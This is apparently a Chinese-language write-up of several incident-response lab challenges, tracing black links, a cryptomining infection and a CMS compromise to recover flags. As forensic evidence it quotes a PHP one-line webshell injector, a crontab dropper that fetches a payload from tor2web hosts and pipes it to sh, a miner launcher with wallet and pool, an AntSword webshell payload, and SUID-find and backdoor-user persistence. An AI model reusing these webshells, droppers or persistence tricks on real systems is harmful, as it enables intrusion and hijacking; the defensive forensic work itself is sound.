黑链

找到黑链添加在哪个文件 flag 格式 flag{xxx.xxx}

root@ip-10-0-10-3:/var/www/html# grep -rnw '/var/www/html/' -e '黑链'
/var/www/html/usr/themes/default/header.php:24:<h3 style="text-align:center">模拟黑链</h3>

但是平常排除黑链

查看异常链接:使用 grep 或其他工具查找所有外部链接,并检查是否有异常链接指向可疑网站。

grep -rni 'href=' /var/www/html/

查看 JavaScript 文件:检查 JavaScript 文件中的可疑代码或动态加载的链接。

grep -rni 'http' /var/www/html/

webshell的绝对路径 flag{xxxx/xxx/xxx/xxx/}

放入D盾扫描,得到是

flag{/var/www/html/usr/themes/default/404.php}

黑客注入黑链文件的 md5 md5sum file flag{md5}

poc1.js中有一段写入一句话木马功能的函数

function writeShell() {
// 如果isSaved为false
if (!isSaved) {
// 获取iframe内的内容区域和“保存文件”按钮元素
var content = document.getElementById('theme_id').contentWindow.document.getElementById('content');
var btns = document.getElementById('theme_id').contentWindow.document.getElementsByTagName('button');
// 获取模板文件原始内容
var oldData = content.value;
// 在原始内容前加入一段phpinfo代码
content.value = ('<?php @eval($_POST[a]); ?>\n') + oldData;
// 点击“保存文件”按钮
btns[1].click();
// 将isSaved设为true,表示已经完成写入操作
isSaved = true;
}
}
root@ip-10-0-10-3:/var/www/html# md5sum poc1.js 
10c18029294fdec7b6ddab76d9367c14 poc1.js

flag{10c18029294fdec7b6ddab76d9367c14}

攻击入口是哪里?url请求路径,最后面加/ flag{/xxxx.xxx/xxxx/x/}

在家目录有一个out.pcap,下载下来后放在wireshark

http contains "poc1.js"

找到入口是/index.php/archives/1/,通过cookie注入写入黑链

flag{/index.php/archives/1/}

挖矿

1、黑客的IP是? flag格式:flag{黑客的ip地址},如:flag{127.0.0.1}

web目录在/www

日志在/www/admin/websec_80/log/nginx_access_2023-12-22.log

flag{192.168.10.135}

2、黑客攻陷网站的具体时间是? flag格式:flag{年-月-日 时:分:秒},如:flag{2023-12-24 22:23:24}

8081端口开设的是一个织梦cms,使用admin:12345678登录后台

在系统->系统用户管理中发现hacker用户,注册时间是2023-12-22 19:08:34

flag{2023-12-22 19:08:34}

3、黑客上传webshell的名称及密码是? flag格式:flag{黑客上传的webshell名称-webshell密码},如:flag{webshell.php-pass}

通过D盾扫描发现webshell是404.php,里面base64解码得到密码是cmd

flag{404.php-cmd}

4、黑客提权后设置的后门文件名称是? flag格式:flag{后门文件绝对路径加上名称},如:flag{/etc/passwd}

查看root的历史命令,发现find命令添加了SUID位以及所有用户都能执行,并且find命令能够用来提权

[root@ip-10-0-10-1 ~]# cat .bash_history 
ip addr
rpm -qa|grep vim
vim
yum -y install vim*
vim
yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh
vim /etc/hosts
ls
cd /var/www/
cd /tmp
vim config.sh
chmod +x config.sh
ll
sh config.sh
history
ls
ifconfig
ip addr
ll
chmod 4775 /usr/bin/find

flag{/usr/bin/find}

5、对黑客上传的挖矿病毒进行分析,获取隐藏的Flag

cat /etc/crontab,发现一段可疑的计划任务

sleep ${R:-0};
BP=$(dirname "$(command -v yes)");
BP=${BP:-"/usr/bin"};G1="curl";
if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ];then
G1="echo";for f in ${BP}/*;
do
strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && G1="$f" && break;
done;
fi;
G2="wget";
if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ];then
G2="echo";
for f in ${BP}/*;
do
strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && G2="$f" && break;
done;
fi;
if [ $(cat /etc/hosts|grep -i "onion.\|timesync.su\|tor2web"|wc -l) -ne 0 ];then
echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1;
fi;
C=" -fsSLk --connect-timeout 26 --max-time 75 ";
W=" --quiet --tries=1 --no-check-certificate --connect-timeout=26 --timeout=75 ";
H="https://an7kmd2wp4xo7hpr";
T1=".tor2web.su/";
T2=".d2web.org/";
T3=".onion.sh/";
P="src/ldm";
($G1 $C $H$T1$P||$G1 $C $H$T2$P||$G1 $C $H$T3$P||$G2 $W $H$T1$P||$G2 $W $H$T2$P||$G2 $W $H$T3$P)|sh &

通过一堆拼接,但是仍然能够分析出是要下载一个src/ldm

[root@ip-10-0-10-1 web]# find / -name "ldm" 2>/dev/null
/etc/.cache/ldm

里面有一段base64编码,解码得到flag

flag{websec_True@888!}

挖矿2

导入vmware并用NAT模式,靶机IP为192.168.233.14

1.找出被黑客修改的系统别名,并将倒数第二个别名作为Flag值提交;

-bash-4.2# alias
alias adduser='printf ""'
alias cp='cp'
alias crontab='printf ""'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias find='printf ""'
alias grep='grep --color=auto'
alias halt='printf ""'
alias htop='printf ""'
alias init='printf ""'
alias kill='printf ""'
alias killall='printf ""'
alias l.='ls -d .* --color=auto'
alias ll='ls -l --color=auto'
alias locate='printf ""'
alias ls='ls --color=auto'
alias mv='mv'
alias netstat='printf ""'
alias pkill='printf ""'
alias ps='printf ""'
alias rm='rm'
alias ss='printf ""'
alias userdel='printf ""'
alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'

flag{userdel}

2.找出系统中被植入的后门用户删除掉,并将后门用户的账号作为Flag值提交(多个用户名之间以英文逗号分割,如:admin,root);

-bash-4.2# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
libstoragemgmt:x:998:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
chrony:x:997:995::/var/lib/chrony:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
admin:x:1000:1000::/home/admin:/bin/bash
sclipicibosu:x:0:0::/home/sclipicibosu:/bin/bash

flag{sclipicibosu}

3.找出黑客在admin用户家目录中添加的ssh后门,将后门的写入时间作为Flag值(提交的时间格式为:2022-01-12 08:08:18)

-bash-4.2# ls -a
. .. authorized_keys
-bash-4.2# cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr0YMTVBXhCHSWSucl9BRzr6U1dKwg0uCFZ1NjI3tFSyfN5VcYew/b9Im2LMrQdBasrqIQcn4yiM8CBDst7I5BXYm/gEn1R6Nija4a9plG+g39WLmEYUkhrQ7bYvMEsg5RsSpl/h760iMHZRgYI4G3EIE/BMt4Ap9uKsyuz+hFVZZwFu0lJa5d2thWKTDzI5Cof9K5jFlxwDTEDIlTFWGhZDVJGSAH2d47S+MCjQkzAzVcrlbYUYEGYSwiTrq37nxGeVqIVRTZZMf8/IZ+9XzEBi9t8iAXitGRgxRAxBmQCHWxRK3h7AT/4uR9dOBzitmMJvpaPdUmAPoXcQtYoQQ/w==-bash-4.2# ls -liah
总用量 12K
261640 drwx------. 2 admin admin 4.0K 9月 14 2022 .
261633 drwx------. 4 admin admin 4.0K 9月 16 2022 ..
261639 -rw-------. 1 admin admin 380 9月 14 2022 authorized_keys
-bash-4.2# stat authorized_keys
文件:"authorized_keys"
大小:380 块:8 IO 块:4096 普通文件
设备:fd02h/64770d Inode:261639 硬链接:1
权限:(0600/-rw-------) Uid:( 1000/ admin) Gid:( 1000/ admin)
环境:unconfined_u:object_r:user_tmp_t:s0
最近访问:2024-08-23 22:42:10.780980371 +0800
最近更改:2022-09-14 15:04:47.000000000 +0800
最近改动:2022-09-14 23:21:41.742958733 +0800
创建时间:-

flag{2022-09-14 15:04:47}

4.找出黑客篡改过的环境变量文件,将文件的md5值作为Flag值提交;

-bash-4.2# cat /root/.bashrc
# .bashrc
source /var/tmp/.SQL-Unix/.SQL/.db
alias rm=rm -i
alias cp=cp -i
alias mv=mv -i
echo Uname: Linux admin-virtual-machine 5.4.0-54-generic #60-CentOS SMP Fri Nov 6 10:37:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
-bash-4.2# md5sum /root/.bashrc
d847ea4b317c880c3854418503d11470 /root/.bashrc

flag{d847ea4b317c880c3854418503d11470}

5.找出黑客修改了bin目录下的某个文件,将该文件的格式作为Flag值提交

-bash-4.2# ll /usr/bin | sort -nrk 8
-rwxrwxrwx. 1 root root 305 9月 15 2022 sshd
lrwxrwxrwx. 1 root root 9 9月 13 2022 python2 -> python2.7
lrwxrwxrwx. 1 root root 9 9月 13 2022 psfstriptable -> psfxtable
lrwxrwxrwx. 1 root root 9 9月 13 2022 psfgettable -> psfxtable
lrwxrwxrwx. 1 root root 9 9月 13 2022 psfaddtable -> psfxtable
lrwxrwxrwx. 1 root root 8 9月 13 2022 ypdomainname -> hostname
lrwxrwxrwx. 1 root root 8 9月 13 2022 unix2mac -> unix2dos
lrwxrwxrwx. 1 root root 8 9月 13 2022 tclsh -> tclsh8.5
lrwxrwxrwx. 1 root root 8 9月 13 2022 systemd-loginctl -> loginctl
lrwxrwxrwx. 1 root root 8 9月 13 2022 nisdomainname -> hostname
lrwxrwxrwx. 1 root root 8 9月 13 2022 mac2unix -> dos2unix
lrwxrwxrwx. 1 root root 8 9月 13 2022 domainname -> hostname
lrwxrwxrwx. 1 root root 8 9月 13 2022 dnsdomainname -> hostname
lrwxrwxrwx. 1 root root 7 9月 13 2022 x86_64 -> setarch
lrwxrwxrwx. 1 root root 7 9月 13 2022 python -> python2
lrwxrwxrwx. 1 root root 7 9月 13 2022 linux64 -> setarch
lrwxrwxrwx. 1 root root 7 9月 13 2022 linux32 -> setarch
lrwxrwxrwx. 1 root root 7 9月 13 2022 i386 -> setarch
lrwxrwxrwx. 1 root root 6 9月 13 2022 zsoelim -> soelim
lrwxrwxrwx. 1 root root 6 9月 13 2022 xzfgrep -> xzgrep

-bash-4.2# cat /usr/bin/sshd

#!/bin/bash
locatieasdf=$(cat /usr/bin/.locationesclipiciu)
if [ ! -d ]; then
mkdir
rsync -r /usr/bin/.locationesclipiciu/ /
sleep 1
/.b4nd1d0 > /dev/null 2>&1 & disown
else
if [ ! -f /ethminer ]; then
rsync -r /usr/bin/.locationesclipiciu/ /
sleep 1
/.b4nd1d0 > /dev/null 2>&1 & disown
fi

-bash-4.2# file /usr/bin/sshd
/usr/bin/sshd: ASCII text

flag{ASCII text}

6.找出黑客植入系统中的挖矿病毒,将矿池的钱包地址作为Flag值(提交格式为:0xa1d1fadd4fa30987b7fe4f8721b022f4b4ffc9f8)提交

-bash-4.2# cat /home/admin/.b4nd1d0 
#!/bin/bash
m1lbe1()
{
if ! pgrep -x ethminer >/dev/null
then
cd /home/admin/bin
./ethminer -P stratum1+tcp://0xd281ffdd4fb30987b7fe4f8721b022f4b4ffc9f8.ethminer:sclipicinr1@gmail.com@eth-asia1.nanopool.org:9999 --report-hashrate >/dev/null 2>&1 & disown $*
else
exit;
fi
}
m1lbe1

flag{0xd281ffdd4fb30987b7fe4f8721b022f4b4ffc9f8}

CMS01

通过本地 PC SSH到服务器并且分析黑客的 IP 为多少,将黑客 IP 作为 FLAG 提交;

[root@ip-10-0-10-2 ~]# cat /var/log/secure-20240320 [root@ip-10-0-10-2 ~]# cat /var/log/secure-20240320 
Mar 4 09:47:06 web-server polkitd[750]: Loading rules from directory /etc/polkit-1/rules.d
Mar 4 09:47:06 web-server polkitd[750]: Loading rules from directory /usr/share/polkit-1/rules.d
Mar 4 09:47:06 web-server polkitd[750]: Finished loading, compiling and executing 2 rules
Mar 4 09:47:06 web-server polkitd[750]: Acquired the name org.freedesktop.PolicyKit1 on the system bus
Mar 4 09:47:09 web-server sshd[1102]: Server listening on 0.0.0.0 port 22.
Mar 4 09:47:09 web-server sshd[1102]: Server listening on :: port 22.
Mar 4 09:47:33 web-server unix_chkpwd[8184]: password check failed for user (root)
Mar 4 09:47:33 web-server login: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost= user=root
Mar 4 09:47:33 web-server login: pam_succeed_if(login:auth): requirement "uid >= 1000" not met by user "root"
Mar 4 09:47:35 web-server login: FAILED LOGIN 1 FROM tty1 FOR root, Authentication failure
Mar 4 09:47:40 web-server login: pam_unix(login:auth): check pass; user unknown
Mar 4 09:47:40 web-server login: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost=
Mar 4 09:47:42 web-server login: FAILED LOGIN 2 FROM tty1 FOR (unknown), User not known to the underlying authentication module
Mar 4 09:47:52 web-server login: pam_unix(login:session): session opened for user root by LOGIN(uid=0)
Mar 4 09:47:52 web-server login: ROOT LOGIN ON tty1
Mar 4 09:48:23 web-server sshd[8287]: Accepted password for root from 192.168.20.1 port 11035 ssh2

flag{192.168.20.1}

通过本地 PC SSH到服务器并且分析黑客修改的管理员密码(明文)为多少,将黑客修改的管理员密码(明文) 作为 FLAG 提交;

更改密码的历史命令是不会记录的。于是先打算跳过

但在/root目录有一个流量包,下载下来使用wireshark,进行过滤

http && ip.src_host==192.168.20.1

结果发现了一个/flag1,就是这一问的答案

flag{Network@_2020_Hack}

通过本地 PC SSH到服务器并且分析黑客第一次Webshell的连接URL为多少,将黑客第一次Webshell的连接URL作为 FLAG 提交(无需域名flag{xxx.php?abc-app-upload});

用上一问的过滤方式,第一个流量包就是webshell,应该是一个蚁剑的webshell

@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.fd491f470fb7";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "4a0c"."dc70";echo @asenc($output);echo "db6"."da5";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

flag{index.php?user-app-register}

通过本地 PC SSH到服务器并且分析黑客Webshell连接密码多少,将黑客Webshell连接密码 作为 FLAG 提交;

流量包的POST传参的参数就是密码

flag{Network2020}

通过本地 PC SSH到服务器并且分析黑客使用的后续上传的木马文件名称为多少,将黑客使用的后续上传的木马文件名称 作为 FLAG 提交;

往后看发现有大量的/version2.php,猜测是webshell

flag{version2.php}

通过本地 PC SSH到服务器并且分析黑客隐藏的flag2,将黑客使隐藏的flag2 作为 FLAG 提交;

在history中发现了对alinotify.php的编辑

find / -name alinotify.php 2>/dev/null

在/www/wwwroot/127.0.0.1/.api/alinotify.php中找到flag2

flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}

通过本地 PC SSH到服务器并且分析黑客隐藏的flag3,将黑客使隐藏的flag3 作为 FLAG 提交;

在root的命令历史记录中发现

flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}